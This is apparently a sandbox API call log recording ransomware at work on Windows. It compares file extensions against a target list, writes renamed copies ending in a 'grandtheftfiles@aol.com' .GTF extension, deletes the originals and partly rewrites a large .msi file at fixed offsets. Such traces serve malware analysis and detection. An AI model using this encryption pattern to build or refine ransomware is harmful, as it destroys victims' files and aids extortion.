	[0068.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0068.838] lstrlenW (lpString=".jpg") returned 4
	[0068.838] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0068.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0068.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0068.838] lstrlenW (lpString=".doc") returned 4
	[0068.838] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0068.838] lstrlenW (lpString=".docx") returned 5
	[0068.838] lstrcmpiW (lpString1=".docx", lpString2="7.ico") returned -1
	[0068.838] lstrlenW (lpString=".pdf") returned 4
	[0068.838] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0068.838] lstrlenW (lpString=".xls") returned 4
	[0068.838] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0068.838] lstrlenW (lpString=".xlsx") returned 5
	[0068.838] lstrcmpiW (lpString1=".xlsx", lpString2="7.ico") returned -1
	[0068.839] lstrlenW (lpString=".ppt") returned 4
	[0068.839] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0068.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0068.839] lstrlenW (lpString=".zip") returned 4
	[0068.839] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0068.839] lstrlenW (lpString=".rar") returned 4
	[0068.839] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0068.839] lstrlenW (lpString=".bz2") returned 4
	[0068.839] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0068.839] lstrlenW (lpString=".7z") returned 3
	[0068.839] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0068.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0068.839] lstrlenW (lpString=".dbf") returned 4
	[0068.839] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0068.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0068.839] lstrlenW (lpString=".1cd") returned 4
	[0068.839] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0068.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned 42
	[0068.839] lstrlenW (lpString=".jpg") returned 4
	[0068.839] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0068.839] lstrcmpiW (lpString1=".ico", lpString2=".GTF") returned 1
	[0068.839] lstrlenW (lpString="Rotate8.ico") returned 11
	[0068.839] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0068.891] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=894) returned 1
	[0068.891] CloseHandle (hObject=0x340) returned 1
	[0068.891] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80
	[0068.891] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.891] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0068.891] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.892] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.892] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0068.892] GetLastError () returned 0x0
	[0068.892] ReadFile (in: hFile=0x340, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x37e, lpOverlapped=0x0) returned 1
	[0069.411] WriteFile (in: hFile=0x314, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x380, lpOverlapped=0x0) returned 1
	[0069.412] ReadFile (in: hFile=0x340, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.412] WriteFile (in: hFile=0x314, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xea, lpOverlapped=0x0) returned 1
	[0069.412] SetEndOfFile (hFile=0x314) returned 1
	[0069.856] CloseHandle (hObject=0x314) returned 1
	[0069.857] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.857] SetEndOfFile (hFile=0x340) returned 1
	[0069.858] CloseHandle (hObject=0x340) returned 1
	[0069.858] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0069.858] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 1
	[0069.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0069.858] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0069.858] lstrlenW (lpString=".doc") returned 4
	[0069.859] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0069.859] lstrlenW (lpString=".docx") returned 5
	[0069.859] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1
	[0069.859] lstrlenW (lpString=".pdf") returned 4
	[0069.859] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0069.859] lstrlenW (lpString=".xls") returned 4
	[0069.859] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0069.859] lstrlenW (lpString=".xlsx") returned 5
	[0069.859] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1
	[0069.859] lstrlenW (lpString=".ppt") returned 4
	[0069.859] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0069.859] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0069.859] lstrlenW (lpString=".zip") returned 4
	[0069.859] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0069.859] lstrlenW (lpString=".rar") returned 4
	[0069.859] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0069.859] lstrlenW (lpString=".bz2") returned 4
	[0069.859] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0069.859] lstrlenW (lpString=".7z") returned 3
	[0069.859] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0069.859] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0069.859] lstrlenW (lpString=".dbf") returned 4
	[0069.859] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0069.859] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0069.859] lstrlenW (lpString=".1cd") returned 4
	[0069.859] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0069.859] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0069.859] lstrlenW (lpString=".jpg") returned 4
	[0069.859] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0069.859] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0069.859] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0069.859] lstrlenW (lpString=".doc") returned 4
	[0069.859] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0069.859] lstrlenW (lpString=".docx") returned 5
	[0069.859] lstrcmpiW (lpString1=".docx", lpString2="8.ico") returned -1
	[0069.859] lstrlenW (lpString=".pdf") returned 4
	[0069.860] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0069.860] lstrlenW (lpString=".xls") returned 4
	[0069.860] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0069.860] lstrlenW (lpString=".xlsx") returned 5
	[0069.860] lstrcmpiW (lpString1=".xlsx", lpString2="8.ico") returned -1
	[0069.860] lstrlenW (lpString=".ppt") returned 4
	[0069.860] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0069.860] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0069.860] lstrlenW (lpString=".zip") returned 4
	[0069.860] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0069.860] lstrlenW (lpString=".rar") returned 4
	[0069.860] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0069.860] lstrlenW (lpString=".bz2") returned 4
	[0069.860] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0069.860] lstrlenW (lpString=".7z") returned 3
	[0069.860] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0069.860] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0069.860] lstrlenW (lpString=".dbf") returned 4
	[0069.860] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0069.860] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0069.860] lstrlenW (lpString=".1cd") returned 4
	[0069.860] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0069.860] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico") returned 42
	[0069.860] lstrlenW (lpString=".jpg") returned 4
	[0069.860] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0069.861] lstrcmpiW (lpString1=".ico", lpString2=".GTF") returned 1
	[0069.861] lstrlenW (lpString="warn.ico") returned 8
	[0069.861] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0069.861] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=10134) returned 1
	[0069.861] CloseHandle (hObject=0x340) returned 1
	[0069.861] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80
	[0069.862] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0069.862] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0069.862] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.862] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.862] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0069.862] GetLastError () returned 0x0
	[0069.862] ReadFile (in: hFile=0x340, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x2796, lpOverlapped=0x0) returned 1
	[0069.873] WriteFile (in: hFile=0x314, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x27a0, lpOverlapped=0x0) returned 1
	[0069.874] ReadFile (in: hFile=0x340, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.874] WriteFile (in: hFile=0x314, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0069.874] SetEndOfFile (hFile=0x314) returned 1
	[0069.874] CloseHandle (hObject=0x314) returned 1
	[0069.875] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.875] SetEndOfFile (hFile=0x340) returned 1
	[0069.876] CloseHandle (hObject=0x340) returned 1
	[0069.876] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0069.876] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 1
	[0069.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0069.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0069.877] lstrlenW (lpString=".doc") returned 4
	[0069.877] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0069.877] lstrlenW (lpString=".docx") returned 5
	[0069.877] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1
	[0069.877] lstrlenW (lpString=".pdf") returned 4
	[0069.877] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0069.877] lstrlenW (lpString=".xls") returned 4
	[0069.877] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0069.877] lstrlenW (lpString=".xlsx") returned 5
	[0069.877] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1
	[0069.877] lstrlenW (lpString=".ppt") returned 4
	[0069.877] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0069.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0069.877] lstrlenW (lpString=".zip") returned 4
	[0069.877] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0069.877] lstrlenW (lpString=".rar") returned 4
	[0069.877] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0069.877] lstrlenW (lpString=".bz2") returned 4
	[0069.877] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0069.877] lstrlenW (lpString=".7z") returned 3
	[0069.877] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0069.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0069.877] lstrlenW (lpString=".dbf") returned 4
	[0069.877] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0069.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0069.877] lstrlenW (lpString=".1cd") returned 4
	[0069.877] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0069.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0069.877] lstrlenW (lpString=".jpg") returned 4
	[0069.877] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0069.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0069.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0069.878] lstrlenW (lpString=".doc") returned 4
	[0069.878] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0069.878] lstrlenW (lpString=".docx") returned 5
	[0069.878] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1
	[0069.878] lstrlenW (lpString=".pdf") returned 4
	[0069.878] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0069.878] lstrlenW (lpString=".xls") returned 4
	[0069.878] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0069.878] lstrlenW (lpString=".xlsx") returned 5
	[0069.878] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1
	[0069.878] lstrlenW (lpString=".ppt") returned 4
	[0069.878] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0069.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0069.878] lstrlenW (lpString=".zip") returned 4
	[0069.878] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0069.878] lstrlenW (lpString=".rar") returned 4
	[0069.878] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0069.878] lstrlenW (lpString=".bz2") returned 4
	[0069.878] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0069.878] lstrlenW (lpString=".7z") returned 3
	[0069.878] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0069.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0069.878] lstrlenW (lpString=".dbf") returned 4
	[0069.878] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0069.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0069.878] lstrlenW (lpString=".1cd") returned 4
	[0069.878] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0069.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39
	[0069.878] lstrlenW (lpString=".jpg") returned 4
	[0069.878] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0069.878] lstrcmpiW (lpString1=".msi", lpString2=".GTF") returned 1
	[0069.878] lstrlenW (lpString="netfx_Core_x64.msi") returned 18
	[0069.878] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0069.879] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=1901056) returned 1
	[0069.879] CloseHandle (hObject=0x340) returned 1
	[0069.879] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80
	[0069.879] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0069.879] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 1
	[0069.880] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0069.880] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc64 | out: lpNewFilePointer=0x0) returned 1
	[0069.880] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc24 | out: lpNewFilePointer=0x0) returned 1
	[0069.880] ReadFile (in: hFile=0x340, lpBuffer=0x3d56058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3d56058*, lpNumberOfBytesRead=0x38dfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0069.892] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc24 | out: lpNewFilePointer=0x0) returned 1
	[0069.892] ReadFile (in: hFile=0x340, lpBuffer=0x3d96058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3d96058*, lpNumberOfBytesRead=0x38dfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0069.949] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38dfc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0069.949] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc24 | out: lpNewFilePointer=0x0) returned 1
	[0069.949] ReadFile (in: hFile=0x340, lpBuffer=0x3dd6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38dfc30, lpOverlapped=0x0 | out: lpBuffer=0x3dd6058*, lpNumberOfBytesRead=0x38dfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0070.569] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.569] WriteFile (in: hFile=0x340, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x38dfca8, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfca8*=0xc0110, lpOverlapped=0x0) returned 1
	[0070.648] SetEndOfFile (hFile=0x340) returned 1
	[0070.648] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x40000) returned 0x3ed3388
	[0070.653] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc74 | out: lpNewFilePointer=0x0) returned 1
	[0070.653] WriteFile (in: hFile=0x340, lpBuffer=0x3ed3388*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38dfc80, lpOverlapped=0x0 | out: lpBuffer=0x3ed3388*, lpNumberOfBytesWritten=0x38dfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0070.655] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc74 | out: lpNewFilePointer=0x0) returned 1
	[0070.655] WriteFile (in: hFile=0x340, lpBuffer=0x3ed3388*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38dfc80, lpOverlapped=0x0 | out: lpBuffer=0x3ed3388*, lpNumberOfBytesWritten=0x38dfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0070.657] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x38dfc74 | out: lpNewFilePointer=0x0) returned 1
	[0070.745] WriteFile (in: hFile=0x340, lpBuffer=0x3ed3388*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38dfc80, lpOverlapped=0x0 | out: lpBuffer=0x3ed3388*, lpNumberOfBytesWritten=0x38dfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0070.747] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0070.816] CloseHandle (hObject=0x340) returned 1
	[0071.803] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0071.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0071.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0071.954] lstrlenW (lpString=".doc") returned 4
	[0071.954] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0071.954] lstrlenW (lpString=".docx") returned 5
	[0071.955] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1
	[0071.955] lstrlenW (lpString=".pdf") returned 4
	[0071.955] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0071.955] lstrlenW (lpString=".xls") returned 4
	[0071.955] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0071.955] lstrlenW (lpString=".xlsx") returned 5
	[0071.955] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1
	[0071.955] lstrlenW (lpString=".ppt") returned 4
	[0071.955] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0071.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0071.955] lstrlenW (lpString=".zip") returned 4
	[0071.955] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0071.955] lstrlenW (lpString=".rar") returned 4
	[0071.955] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0071.955] lstrlenW (lpString=".bz2") returned 4
	[0071.956] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0071.956] lstrlenW (lpString=".7z") returned 3
	[0071.956] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0071.956] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0071.956] lstrlenW (lpString=".dbf") returned 4
	[0071.956] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0071.956] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0071.956] lstrlenW (lpString=".1cd") returned 4
	[0071.956] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0071.956] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
	[0071.956] lstrlenW (lpString=".jpg") returned 4
	[0071.956] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0071.956] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40
